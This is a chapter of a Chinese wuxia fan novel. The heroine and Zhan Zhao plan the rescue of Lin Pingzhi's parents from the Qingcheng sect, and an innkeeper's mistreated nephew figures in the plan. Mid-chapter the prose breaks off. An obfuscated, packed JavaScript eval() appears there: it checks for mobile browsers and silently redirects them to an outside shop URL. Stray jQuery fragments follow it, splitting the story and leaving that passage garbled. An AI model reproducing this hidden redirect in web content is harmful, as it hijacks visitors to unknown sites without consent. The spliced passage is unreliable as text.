文趣网 > 其他小说 > 【综武侠】这个马甲有bug > 12. 012 计划
    苏山行是看着林平之进城的。

    为避免被青城派众人认出来,他扮成一个驼子。如果不是他依然穿着那身破衣烂衫,恐怕苏山行也无法在人堆里一眼找到他。

    他问了一圈客栈,可金盆洗手大会在即,客栈房屋十分紧俏。最后,只有赖掌柜那儿还剩一间空房。

    那时已过了饭点,苏山行走进赖掌柜客栈对面那家饭店里。

    饭店掌柜本已闲了下来,正悠闲地坐在柜台后嗑瓜子。见有客人来,且阔气地点了好几道肉菜,她忙热情招呼上去。

    在这个时代,乡里邻居间是没有秘密的。苏山行随便搭了几句话,饭店掌柜和店小二,就倒豆子似的,把赖掌柜一家子那点事儿全倒出来了。

    “赖兄弟也不容易。”饭店掌柜提着一壶酒,坐到苏山行对面。

    “赖兄弟小时候家里穷,他十二岁那年,遇上灾年,粮食歉收,眼看着兄弟两个就要被饿死了。

    可他不服,他不相信自己就该是被饿死的命。老话说‘树挪死,人挪活’,所以他一个人,带着攒的十几文钱,一路吃生鱼、喝冷水、啃树皮,脚都磨烂了,硬是咬着牙走到了衡山城。”

    “他刚来的时候什么也不会,连身像样的行头都没有,自然不会有人收他。但他有法子。他不知道从哪儿弄来了一件衣裳,给自己收拾得齐齐整整,满口漂亮话,沿着街道,挨家挨户去磨。嘴皮子磨破了,终于找到一家客栈的掌柜愿意留他。”

    “那段时间,他每天忙到脚不沾地,瘦得一把骨头,人却乐呵呵的。客栈掌柜看着他这喜气样也高兴,半年后就开始给他开工钱。”

    “他拿到工钱后,全寄给了乡下的父母哥哥,到最后,一家人就他穿得最差。”

    苏山行有些意外。

    饭店掌柜顺手给她上了道菜,继续道:“后来有一天,他爹来找他要钱,他实在没银子了,竟被逼得在大庭广众之下急哭出来。”

    当天夜里,许是因为后厨的火没熄干净,火星子崩到干草堆上,客栈走水了。

    赖兄弟拼死把客栈掌柜背出来,腿上还被燎出好大一片水泡,差点废了。但他爹,他没能救出来。”

    说到这里时,饭店掌柜的表情一瞬间变得有些微妙,可这复杂的神色转瞬即逝,快得让苏山行几乎以为那是自己的错觉。

    饭店掌柜继续道:“客栈掌柜自然十分感谢赖兄弟的救命之恩,不但把新的客栈交给他打理,还给他分成。

    又这么干了五年,赖兄弟省吃俭用,终于有了自己的客栈。”

    苏山行点点头,她把那碟花生米往饭店掌柜的面前推了推,道:“听起来,赖掌柜和他家人的关系倒是十分亲厚。

    说起来,我听有人唤他店里的跑堂‘赖伢子’,是他儿子?”

    饭店掌柜忙摇头摆手,“是侄子!”

    “侄子?”

    饭店掌柜看周围没有人,往苏山行的方向凑了凑,道:“妹子,这赖家人有意思着呢!

    年初时,赖兄弟的大哥,提着两条熏肉,就把自己衣衫褴褛的儿子塞给赖兄弟。赖兄弟收下了,让他在自己客栈做个跑堂。”

    “那这赖掌柜对他大哥一家真不错!”苏山行感叹。

    饭店掌柜瘪瘪嘴:“这可说不好。赖伢子跟了赖兄弟后,一天一骂,两天一打。大半夜,赖兄弟还要把他摇醒,让赖伢子绕客栈巡逻一圈。而且……”

    她压低了声音,“赖伢子掏心掏肺干这么久,还帮赖兄弟挡了几下客人的打,有一次骨头都被打折了。赖兄弟却半句感谢都没有。

    第二天,他就押着人继续上工,一个月给的工钱,还没其他客栈三天多。赖伢子身为店里唯一的店小二,连客房钥匙都拿不到。要我说啊,这赖兄弟哪儿是在带侄子?他防人跟防贼似的。”

    “这么点工钱?”苏山行讶然,“那赖伢子怎么活?”

    “嗐!还能怎么活?包吃包住,总是饿不死的。至于病了、冷了,就熬呗,熬过去了就好了。”

    ……

    青城派也算大派,其行踪不难打听。

    可苏山行盯了半天,也没找到林家二人的踪迹。

    【难道,他们把人送去青城山了?】系统猜测。

    苏山行摇摇头,【确实有这个可能。但我认为,这个概率不高。】

    她解释道:【余沧海大动干戈,精心布局,灭人满门,就为了拿到那劳什子《辟邪剑谱》。眼下,天底下唯三可能知道《辟邪剑谱》线索的人,有两个都在他手里。在目的达成之前,他一定会把林家二人放在自己眼皮子底下盯着,除非……】

    苏山行想到一个可怕的可能。

    她一切的预设,都是建立在林家夫妻还活着的基础上。可若是余沧海已经找到《辟邪剑谱》,杀人灭口了呢?

    又或者林家夫妻早已不堪折辱,选择了……呢?

    那她自然再找不到他们的踪迹。

    余沧海甚至会亲自处理他们留下过的痕迹。

    【一切还没尘埃落定。】

    她不能因为这些可怕的猜想就放弃努力。她想。

    *

    “青城派弟子啊?”街头卖馄饨的老伯若有所思,他指了一个方向,道:“昨天下午,他们从那个门进来的。”

    “多谢。”苏山行付了十份馄饨钱,转身将馄饨端给路边的孩子们。

    何三七挑着馄饨摊子,摇着头,叹着气离开了。

    *

    老伯指的方向是南门。

    【这确实是福州过来的方向。】

    系统若有所思,【如果余沧海没拿到《辟邪剑谱》,他也会不希望其他人拿到。那他此时,应该会派弟子把林家夫妻二人扣在离他不远的隐蔽之处。】

    苏山行点点头,补充道:【这个地方一定远离人烟。】毕竟这《辟邪剑谱》,值得余沧海如此大费周章,一定不是什么俗物。好东西谁都想要,余沧海都走到这一步了,一定会想方设法避开被其他心怀不轨之人截胡的可能。

    衡山南边地形复杂,有密林、有山谷、有瀑布。

    想在有限的时间里,找到两个被困的大活人,其难度无异于大海捞针。

    但世上没有无解之事。苏山行想,她一定是漏掉了什么。

    “只要是人,便定然会留下痕迹。”身穿月白劲装的青年回头,他一双眼亮晶晶的,“与其去碰运气,不如咱们先想想,他们可能会留下的痕迹是什么?”

    痕迹……苏山行陷入沉思。

    “他们要吃饭。”她忽然开口。

    余沧海布下这么大一个局,眼看就要得手,他一定不希望到嘴的鸭子飞了。

    他定会派出多名弟子,来看管林家夫妇。这么大一伙人,一定会需要吃饭。

    这便是他们同城里青城派弟子最大的区别——城里的青城派弟子,会在饭店、客栈用膳;城外的青城派弟子,只能选择买米、买面做饭。

    “而且,”她补充道,“眼下衡山下着雨,他们一定会找能容纳多人遮风避雨、生火做饭的地方,作为据点。”

    衡山城南边的野地是大,但符合这些条件的地方应该少之又少。

    “真是一场好雨啊……”

    她感叹。

    *

    要救林家夫妻,那定然是要先将余沧海引开的。对此,苏山行早有准备。

    她昨晚下半夜时,趁夜摸去林平之所在的客栈。

    此时已是深秋,衡山城又一直在下雨,整座城市都被一层薄薄的雾气包裹着。

    ——她需要一个人,一个不会让余沧海怀疑、警惕的观众,来开启她下一步计划。

    她回忆着白天从饭店老板口中得到的消息。天

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17512960|203078||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    助她也,这间客栈里,刚好有一个符合这个条件的人。

    赖伢子汲着鞋子出现时,屋里的林平之睡得正沉。

    苏山行穿着那件臭气熏天的外套,抓乱自己头发,坐在廊下,对着她白日里,在书肆随手挑的那本《剑谱》随手比划。

    偶尔,她不忘运起轻功,让自己的动作快如残影。

    她听见赖伢子压抑的呼吸声。

    “噗——”

    一道内力射出。

    那块被她预先用墨剑劈开,又精心摆放好的大石头被内力震得错位,两半分开,先后砸在地上。

    【呼……】她长舒一口气。

    没出岔子。

    【阿行,准备好了吗?】随着系统话音落下,苏山行脑海中突然响起一阵悲伤的音乐。

    她把这辈子难过的事想了个遍,终于艰难地完成了这场表演。

    *

    次日一早,三人便按照计划分头行动。

    临行前,苏山行与黑衣人约好,两人午时时在赖掌柜的客栈门口碰头,进行下一步行动。

    衡山城南边一共有三家粮行,苏山行同月白色劲装的青年一一问过后,从最大的那家粮行的掌柜口中得知,昨日,确有一伙青城派弟子前来买米。只是那时候客人多,他也没留意他们是往哪个方向走了。

    说这话时,他正漫不经心拨弄着算盘。苏山行假装没看到他拨错了好几次。

    青城派弟子确实在他这里买过米,他也确实看到他们从哪个方向离开。但他不想惹祸上身。

    “看来,姑娘的猜想没错。”出了粮行,那月白劲装的青年含笑道。粮行果然有那伙“消失的”青城派弟子的踪迹。

    苏山行扭头看向他,忽然反应过来,问道:“说起来,我还不知道公子名字呢。”

    那青年愣了下,似乎在回忆自己是否没有自我介绍,而后一脸愧色,拱手道:“在下开封府,展昭。”

    【谁?!】苏山行震惊。

    【他、他……不是,我……啊???】

    她虽然没看过什么武侠作品,但对“展昭”这个名字,却是如雷贯耳。

    回过神后,她开始背着手,绕着圈观察这个“建模”。

    【说起来,你们为什么不给他穿红衣?我记得我看过的剪辑里,他都是穿红衣的啊。还有,他的长相……】

    展昭正局促地站着。

    他先是见这姑娘,在听到他的名字后,一瞬间表情如遭雷击,整个人呆若木鸡。

    可还不等他开口询问对方是否身体不适,就见她背着手,步子轻快地走他面前,开始转着圈打量他。

    这实在是……

    他的耳朵有些红。

    他嗫嚅几句,想开口打破这诡异的氛围,却在对视上那双亮晶晶的眼时……他似乎忘记了该如何说话。

    纯粹的、好奇的……

    他恍然察觉,她有一双很好看的眼睛,宜喜宜嗔。那双眼在平时,总似含着浩渺烟波、潋滟水光,教人如何也看不透。

    但此时……

    他恍然察觉——原来在白天时,星星藏在人的眼睛里。

    *

    衡山城南郊,有诸多废弃建筑。

    落难员外的老宅、起大火后留下的废弃驿站、人去楼空的寺庙……

    老人们手捧着一袋白面,在记忆里翻翻找找,你一言我一语,最后讨论出十几个符合条件的地方来。

    苏山行犯了难。

    如果一切进展顺利,下午时,赖伢子就会想方设法去和各派掌门报信。

    此举能暂时将心怀不轨之人的目光吸引走。

    但留给他们的时间到底是不多的。

    尤其是……她看向展昭。

    在计划中,他需要尽快赶回赖掌柜的客栈,防止余沧海恼怒之下对赖伢子动手。